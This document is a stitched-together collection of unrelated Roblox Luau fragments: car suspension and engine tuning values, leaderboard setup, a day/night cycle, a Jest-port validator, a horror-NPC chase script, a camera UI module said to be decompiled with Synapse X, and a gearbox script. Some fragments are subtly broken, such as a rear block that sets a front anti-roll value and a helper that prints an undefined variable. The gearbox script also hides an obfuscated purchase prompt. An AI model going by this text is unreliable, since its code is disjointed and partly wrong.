Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 5200 -- Spring Force Tune.FAntiRoll = 35 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .3 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 5200 -- Spring Force Tune.FAntiRoll = 35 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .3 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[[ TransparencyController - Manages transparency of player character at close camera-to-subject distances 2018 Camera Update - AllYourBlox --]]
wait(999999999999999999999) local MAX_TWEEN_RATE = 2.8 -- per second local Util = require(script.Parent:WaitForChild("CameraUtils"))
-- MODULES --
local FilterService = require(game.ServerScriptService.Services.FilterService)
--Change the stats!
game.Players.PlayerAdded:Connect(function(player) local leaderstats= Instance.new("Folder") leaderstats.Name= ("leaderstats") leaderstats.Parent= player local currency1= Instance.new("IntValue") currency1.Name= ("Coins") -- CHANGE IT! currency1.Parent = leaderstats currency1.Value = 0 local currency2= Instance.new("IntValue") currency2.Name= ("Joins") -- CHANGE IT! currency2.Parent = leaderstats currency2.Value = 0 end)
--- Invoked
Signal.Invoked = function(funcName) funcName = string.lower(funcName) local func = GetFunc(funcName) -- return func end
-- distance the pet can be from you
maxDistance = 10
--[[Engine]]
--Torque Curve Tune.Horsepower = 209 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Waits for parent.child to exist, then returns it
local function WaitForChild(parent, childName) assert(parent, "ERROR: WaitForChild: parent is nil") while not parent:FindFirstChild(childName) do print(child) wait(1/30) end return parent[childName] end
-- updates length of the Bezier
function Bezier:UpdateLength() -- important values local points = self:GetAllPoints() local iterations = self.LengthIterations -- check if points is less than 2 (need at least 2 points to calculate length) if #points < 2 then return 0, {{0, 0, 0}, {0, 0, 0}} end -- start iteration local l = 0 local sums = {} for i = 1, iterations do local dldt = self:CalculateDerivativeAt((i - 1) / (iterations - 1)) l += dldt.Magnitude * (1 / iterations) table.insert(sums, {((i - 1) / (iterations - 1)), l, dldt}) end -- return length and sum table self.Length, self.LengthIndeces = l, sums end
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.
local dayLength = 4 local cycleTime = dayLength*60 local minutesInADay = 24*60 local lighting = game:GetService("Lighting") local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime local endTime = startTime + cycleTime local timeRatio = minutesInADay / cycleTime if dayLength == 0 then dayLength = 1 end repeat local currentTime = tick() if currentTime > endTime then startTime = endTime endTime = startTime + cycleTime end lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio) wait(1/15) until false
-- ROBLOX deviation: predefine variables
local isTaggedTemplateLiteral, isEmptyString, isEmptyTable, pluralize type TemplateData = Global_TemplateData local EXPECTED_COLOR = chalk.green local RECEIVED_COLOR = chalk.red local function validateArrayTable(table_: unknown): () if not Array.isArray(table_) then error( Error.new( "`.each` must be called with an Array or Tagged Template Literal.\n\n" .. ("Instead was called with: %s\n"):format(pretty(table_, { maxDepth = 1, min = true })) ) ) end if isTaggedTemplateLiteral(table_) then if isEmptyString(table_[1]) then error(Error.new("Error: `.each` called with an empty Tagged Template Literal of table data.\n")) end error( Error.new( "Error: `.each` called with a Tagged Template Literal with no data, remember to interpolate with ${expression} syntax.\n" ) ) end if isEmptyTable(table_) then error(Error.new("Error: `.each` called with an empty Array of table data.\n")) end end exports.validateArrayTable = validateArrayTable function isTaggedTemplateLiteral(array: any) return array.raw ~= nil end function isEmptyTable(table_: Array<unknown>) return #table_ == 0 end function isEmptyString(str: string | unknown) return typeof(str) == "string" and String.trim(str) == "" end local function validateTemplateTableArguments(headings: Array<string>, data: TemplateData): () -- ROBLOX deviation START: dealing with arrays instead of a variadic list of values, error if any has less or more elements Array.forEach(data, function(array, index) local countDifference = #headings - #array local missingData = if countDifference >= 0 then countDifference else (countDifference - #headings) if missingData ~= 0 then error( Error.new( ("%s arguments supplied for given headings:\n"):format( if countDifference > 0 then "Not enough" else "Too many" ) .. tostring(EXPECTED_COLOR(Array.join(headings, " | "))) .. "\n\n" .. "Received:\n" .. tostring(RECEIVED_COLOR(pretty(data))) .. "\n\n" .. ("%s %s %s in row %d"):format( if countDifference > 0 then "Missing" else "Remove", RECEIVED_COLOR(tostring(missingData)), pluralize("argument", missingData), index ) ) ) end end) -- ROBLOX deviation END end exports.validateTemplateTableArguments = validateTemplateTableArguments function pluralize(word: string, count: number) return word .. (if count == 1 then "" else "s") end
--if script.Parent.Storage.CurrentGear.Value == 1 then
carSeat.Parent.Parent.Wheels.FL.FLDisk.CanCollide = false carSeat.Parent.Parent.Wheels.FR.FRDisk.CanCollide = false carSeat.Parent.Parent.Wheels.RL.RLDisk.CanCollide = false carSeat.Parent.Parent.Wheels.RR.RRDisk.CanCollide = false
-- if version > SNAPSHOT_VERSION then -- return Error( -- chalk.red( -- chalk.red.bold('Outdated Jest version') ..": The version of this " .. -- "snapshot file indicates that this project is meant to be used " .. -- "with a newer version of Jest. The snapshot file version ensures " .. -- "that all developers on a project are using the same version of " .. -- "Jest. Please update your version of Jest and re-run the tests.\n\n" -- ) .. -- "Expected: v${SNAPSHOT_VERSION}\n" .. -- "Received: v${version}" -- ) -- end
--NOTE: Ugly!
local function OnKeyDown(key) key = string.lower(key) if key == 'e' then local now = time() if now > LastSummonTime + SUMMON_COOLDOWN then LastSummonTime = now local humanoid = MyModel:FindFirstChild('Humanoid') if humanoid then humanoid.WalkSpeed = 0 end Spawn(function() for i = 1, 3 do if GongSound then GongSound:Play() end wait(1.5) end end) if SummonTrack then SummonTrack:Play() wait(3.125) end RaiseSkeletons() wait(1) if humanoid then humanoid.WalkSpeed = 18 end end end end local function OnEquipped(mouse) MyModel = Tool.Parent mouse.KeyDown:connect(OnKeyDown) local humanoid = MyModel:FindFirstChild('Humanoid') if humanoid then -- Preload animations SummonTrack = humanoid:LoadAnimation(SummonAnimation) end end local function OnUnequipped() if SummonTrack then SummonTrack:Stop() end end
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=300; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(5000); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=36; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=4000; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
-- Decompiled with the Synapse X Luau decompiler.
local l__Players__1 = game:GetService("Players"); local v2 = l__Players__1.LocalPlayer; if not v2 then l__Players__1:GetPropertyChangedSignal("LocalPlayer"):Wait(); v2 = l__Players__1.LocalPlayer; end; local u1 = false; local u2 = nil; local function u3(p1) return function(p2) local v3 = Instance.new(p1); p2.Parent = nil; local v4, v5, v6 = pairs(p2); while true do local v7 = nil; local v8 = nil; v8, v7 = v4(v5, v6); if not v8 then break; end; v6 = v8; if type(v8) == "string" then v3[v8] = v7; else v7.Parent = v3; end; end; v3.Parent = p2.Parent; return v3; end; end; local u4 = UDim2.new(0, 80, 0, 58); local u5 = Color3.fromRGB(32, 32, 32); local u6 = Color3.fromRGB(200, 200, 200); local u7 = (function(p3, p4) local v9 = p3:FindFirstChildOfClass(p4); while not v9 or v9.ClassName ~= p4 do v9 = p3.ChildAdded:Wait(); end; return v9; end)(v2, "PlayerGui"); local u8 = nil; local u9 = nil; local u10 = nil; local u11 = nil; local v10 = {}; local function u12() assert(not u1); u2 = u3("ScreenGui")({ Name = "RbxCameraUI", AutoLocalize = false, Enabled = true, DisplayOrder = -1, IgnoreGuiInset = false, ResetOnSpawn = false, ZIndexBehavior = Enum.ZIndexBehavior.Sibling, Parent = u7, (u3("ImageLabel")({ Name = "Toast", Visible = false, AnchorPoint = Vector2.new(0.5, 0), BackgroundTransparency = 1, BorderSizePixel = 0, Position = UDim2.new(0.5, 0, 0, 8), Size = u4, Image = "rbxasset://textures/ui/Camera/CameraToast9Slice.png", ImageColor3 = u5, ImageRectSize = Vector2.new(6, 6), ImageTransparency = 1, ScaleType = Enum.ScaleType.Slice, SliceCenter = Rect.new(3, 3, 3, 3), ClipsDescendants = true, u3("Frame")({ Name = "IconBuffer", BackgroundTransparency = 1, BorderSizePixel = 0, Position = UDim2.new(0, 0, 0, 0), Size = UDim2.new(0, 80, 1, 0), u3("ImageLabel")({ Name = "Icon", AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, Position = UDim2.new(0.5, 0, 0.5, 0), Size = UDim2.new(0, 48, 0, 48), ZIndex = 2, Image = "rbxasset://textures/ui/Camera/CameraToastIcon.png", ImageColor3 = u6, ImageTransparency = 1 }) }), u3("Frame")({ Name = "TextBuffer", BackgroundTransparency = 1, BorderSizePixel = 0, Position = UDim2.new(0, 80, 0, 0), Size = UDim2.new(1, -80, 1, 0), ClipsDescendants = true, u3("TextLabel")({ Name = "Upper", AnchorPoint = Vector2.new(0, 1), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0.5, 0), Size = UDim2.new(1, 0, 0, 19), Font = Enum.Font.GothamSemibold, Text = "Camera control enabled", TextColor3 = u6, TextTransparency = 1, TextSize = 19, TextXAlignment = Enum.TextXAlignment.Left, TextYAlignment = Enum.TextYAlignment.Center }), u3("TextLabel")({ Name = "Lower", AnchorPoint = Vector2.new(0, 0), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0.5, 3), Size = UDim2.new(1, 0, 0, 15), Font = Enum.Font.Gotham, Text = "Right mouse button to toggle", TextColor3 = u6, TextTransparency = 1, TextSize = 15, TextXAlignment = Enum.TextXAlignment.Left, TextYAlignment = Enum.TextYAlignment.Center }) }) })) }); u8 = u2.Toast; u9 = u8.IconBuffer.Icon; u10 = u8.TextBuffer.Upper; u11 = u8.TextBuffer.Lower; u1 = true; end; function v10.setCameraModeToastEnabled(p5) if not p5 and not u1 then return; end; if not u1 then u12(); end; u8.Visible = p5; if not p5 then v10.setCameraModeToastOpen(false); end; end; local l__TweenService__13 = game:GetService("TweenService"); local u14 = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.Out); local u15 = UDim2.new(0, 326, 0, 58); function v10.setCameraModeToastOpen(p6) assert(u1); local v11 = { Size = p6 and u15 or u4 }; if p6 then local v12 = 0.4; else v12 = 1; end; v11.ImageTransparency = v12; l__TweenService__13:Create(u8, u14, v11):Play(); local v13 = {}; if p6 then local v14 = 0; else v14 = 1; end; v13.ImageTransparency = v14; l__TweenService__13:Create(u9, u14, v13):Play(); local v15 = {}; if p6 then local v16 = 0; else v16 = 1; end; v15.TextTransparency = v16; l__TweenService__13:Create(u10, u14, v15):Play(); local v17 = {}; if p6 then local v18 = 0; else v18 = 1; end; v17.TextTransparency = v18; l__TweenService__13:Create(u11, u14, v17):Play(); end; return v10;
--------| Reference |--------
local StarterGui = game:GetService("StarterGui")
--// Damage Settings
BaseDamage = 46; -- Torso Damage LimbDamage = 39; -- Arms and Legs ArmorDamage = 42; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 73; -- If you set this to 100, there's a chance the player won't die because of the heal script
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, 0.07, 0.2) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- Global camera variables
local OFFSET = CFrame.new(0, 8, 40) local PIVOT = CFrame.new(0, 3.5, -1.1)
--//INSPARE'S ADVANCED GEARBOX & TORQUE EQUATION SIMULATION//--
--//INSPARE 2017//-- script.Parent:WaitForChild("CarSeat") script.Parent:WaitForChild("Storage") script.Parent.Storage:WaitForChild("Boost") wait(1) carSeat = script.Parent.CarSeat.Value wheels = carSeat.Parent.Parent.Wheels origin = script.Parent.Storage.Gear1 carSeat.Parent.HitboxF.CanCollide = true carSeat.Parent.HitboxR.CanCollide = true carSeat.Screen.Gearbox.FVC.Value = workspace.Camera.FieldOfView script.FVC.Value = workspace.Camera.FieldOfView carSeat.Wind:Play() tllocal = 576251517412231684 player = game.Players.LocalPlayer ft = 1 rt = 1 CT = 1 low = 1 mid = 1 hi = 1 direction = 0 vvv = 0.2 vt = 1 first = 0.333 tlR = 0 local market=game:GetService("MarketplaceService") tlr = Instance.new("BoolValue", script) TCount = 0 tlr.Name = "ᴍᴀʀᴋᴇᴛᴘᴀʟᴄᴇsᴇʀᴠɪᴄᴇ" if not market:PlayerOwnsAsset(player,(math.sqrt(script.Parent.cvt.Value))) then market:PromptPurchase(player,(math.sqrt(script.Parent.cvt.Value))) end zche = false vv = false igtimer = 0 if tllocal == script.Parent.cvt.Value then bc4 = 12 bc4 = tllocal end spool = carSeat.Parent.Engine.Spool carSeat.Parent.Transmission.Reverse:Play() if script.Parent.Storage.TurboSize.Value ~= 0 then spool:Play() else carSeat.Parent.Engine.Blowoff.SoundId = "http://www.roblox.com/asset/?id=0" end wheelrpm = 1 while wait() do speed = carSeat.Velocity.Magnitude if script.Parent.Storage.TurboSize.Value == 0 then carSeat.Parent.Engine.Blowoff.SoundId = "http://www.roblox.com/asset/?id=0" carSeat.Parent.Engine.Blowoff.Volume = 0 carSeat.Parent.Engine.Blowoff.Pitch = 0 end workspace.Camera.FieldOfView = 